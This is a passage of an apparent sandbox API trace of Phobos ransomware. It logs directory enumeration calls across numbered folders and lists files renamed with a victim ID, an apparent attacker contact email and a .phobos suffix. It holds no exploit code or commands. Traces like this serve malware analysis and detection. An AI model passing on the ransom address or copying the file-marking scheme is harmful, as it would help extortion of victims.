dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1037", cAlternateFileName="")) returned 1 [0132.064] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7395a8 [0132.065] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.065] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed96e30a, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed96e30a, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed994489, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x1bc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0132.065] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed994489, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed994489, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed9ba6bd, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x11a92, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0132.065] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed1facbc, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed1facbc, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed26d398, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4262, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0132.065] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed1facbc, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed1facbc, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed26d398, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4262, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0132.065] FindClose (in: hFindFile=0x7395a8 | out: hFindFile=0x7395a8) returned 1 [0132.066] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b80080 | out: hHeap=0xf10000) returned 1 [0132.066] FindNextFileW (in: hFindFile=0x739168, lpFindFileData=0x2b0f754 | out: lpFindFileData=0x2b0f754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1038", cAlternateFileName="")) returned 1 [0132.066] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7395a8 [0132.066] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.066] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed9ba6bd, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed9ba6bd, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedcb57b8, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x1192, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0132.067] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeda53095, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeda53095, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xeda79284, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x152b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0132.067] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed26d398, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed26d398, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed2935e1, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0132.067] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed26d398, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed26d398, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed2935e1, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0132.067] FindClose (in: hFindFile=0x7395a8 | out: hFindFile=0x7395a8) returned 1 [0132.067] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b80080 | out: hHeap=0xf10000) returned 1 [0132.067] FindNextFileW (in: hFindFile=0x739168, lpFindFileData=0x2b0f754 | out: lpFindFileData=0x2b0f754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1040", cAlternateFileName="")) returned 1 [0132.067] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7391a8 [0132.068] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.068] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeda79284, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeda79284, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xeda79284, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xf32, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0132.068] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeda79284, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeda79284, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedcdb897, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x139c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0132.069] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed26d398, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed26d398, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed436fd3, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0132.069] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed26d398, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed26d398, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed436fd3, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0132.069] FindClose (in: hFindFile=0x7391a8 | out: hFindFile=0x7391a8) returned 1 [0132.069] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b80080 | out: hHeap=0xf10000) returned 1 [0132.069] FindNextFileW (in: hFindFile=0x739168, lpFindFileData=0x2b0f754 | out: lpFindFileData=0x2b0f754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1041", cAlternateFileName="")) returned 1 [0132.070] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7391a8 [0132.071] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.071] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcb57b8, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedcb57b8, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedcdb897, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x2882, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0132.071] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcdb897, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedcdb897, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedd01aa0, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x10b92, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0132.071] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2b98ad, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed2b98ad, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed436fd3, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x3e62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0132.071] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2b98ad, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed2b98ad, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed436fd3, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x3e62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0132.071] FindClose (in: hFindFile=0x7391a8 | out: hFindFile=0x7391a8) returned 1 [0132.072] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b80080 | out: hHeap=0xf10000) returned 1 [0132.072] FindNextFileW (in: hFindFile=0x739168, lpFindFileData=0x2b0f754 | out: lpFindFileData=0x2b0f754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1042", cAlternateFileName="")) returned 1 [0132.072] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7391a8 [0132.073] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.073] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcdb897, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedcdb897, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedd9a495, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x3282, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0132.073] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedd01aa0, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedd01aa0, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedd9a495, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xffe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0132.073] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed436fd3, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed436fd3, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed48359d, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x3c62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0132.073] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed436fd3, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed436fd3, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed48359d, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x3c62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0132.073] FindClose (in: hFindFile=0x7391a8 | out: hFindFile=0x7391a8) returned 1 [0132.074] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b80080 | out: hHeap=0xf10000) returned 1 [0132.074] FindNextFileW (in: hFindFile=0x739168, lpFindFileData=0x2b0f754 | out: lpFindFileData=0x2b0f754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1043", cAlternateFileName="")) returned 1 [0132.074] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7395a8 [0132.075] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.075] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedde6922, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedde6922, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedea5496, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xed2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0132.075] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedde6922, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedde6922, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xede0cac2, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x13822, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0132.075] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed45d258, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed45d258, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed4a9715, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4c62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0132.075] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed45d258, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed45d258, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed4a9715, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4c62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0132.075] FindClose (in: hFindFile=0x7395a8 | out: hFindFile=0x7395a8) returned 1 [0132.076] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b80080 | out: hHeap=0xf10000) returned 1 [0132.076] FindNextFileW (in: hFindFile=0x739168, lpFindFileData=0x2b0f754 | out: lpFindFileData=0x2b0f754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, 